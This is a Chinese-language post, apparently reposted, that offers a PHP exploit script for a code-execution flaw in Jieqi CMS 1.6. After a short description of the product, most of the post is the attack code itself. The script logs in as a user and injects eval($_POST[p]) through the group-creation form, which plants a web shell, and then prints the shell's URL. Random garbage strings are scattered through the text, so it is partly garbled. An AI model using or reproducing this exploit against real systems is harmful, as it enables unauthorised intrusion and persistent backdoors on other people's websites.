Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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6 }; }: |  I* _; s) X. |该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
7 E2 X4 j4 [1 |' K 需要有一个能创建圈子的用户。
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# a% |6 n! o, N* I: c% I<?php
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( D8 w$ k; \& c# `3 `) Vprint_r('
0 y2 |# _4 I4 h, v+---------------------------------------------------------------------------+
" g! A' j0 B7 L' K6 b8 IJieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
* E( W7 |8 {4 c( g; T$ |team: http://www.wolvez.org
$ w" B8 V9 C9 L. P2 k+---------------------------------------------------------------------------+
' w! q2 E. o' \'); /**
* works regardless of php.ini settings
! K1 R$ ^7 C* j) }2 S*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
& F+ H5 a0 r8 O& p) s$ q- r) kUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
path:      path to jieqicms
8 z+ O2 v, O  o: wuasename:  a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
' J. l" F. Z5 I9 A'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

% u8 e& r4 E) y& m2 b) ]'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
  g5 U6 X: ]' s7 @* V-----------------------------23281168279961
; ?9 n. l5 P. CContent-Disposition: form-data; name="gcatid"

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( K6 G9 K" T- d, Z' u# Z-----------------------------23281168279961
6 T  |! Q( o) B9 O1 u1 d3 _5 d5 @Content-Disposition: form-data; name="gaudit"

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$ W  n( l8 ]# E  E-----------------------------23281168279961
7 P' E: U; H; l$ GContent-Disposition: form-data; name="gbrief"

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-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

4 o+ V$ t, h& [) Y) J7 I9 f6 Qpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;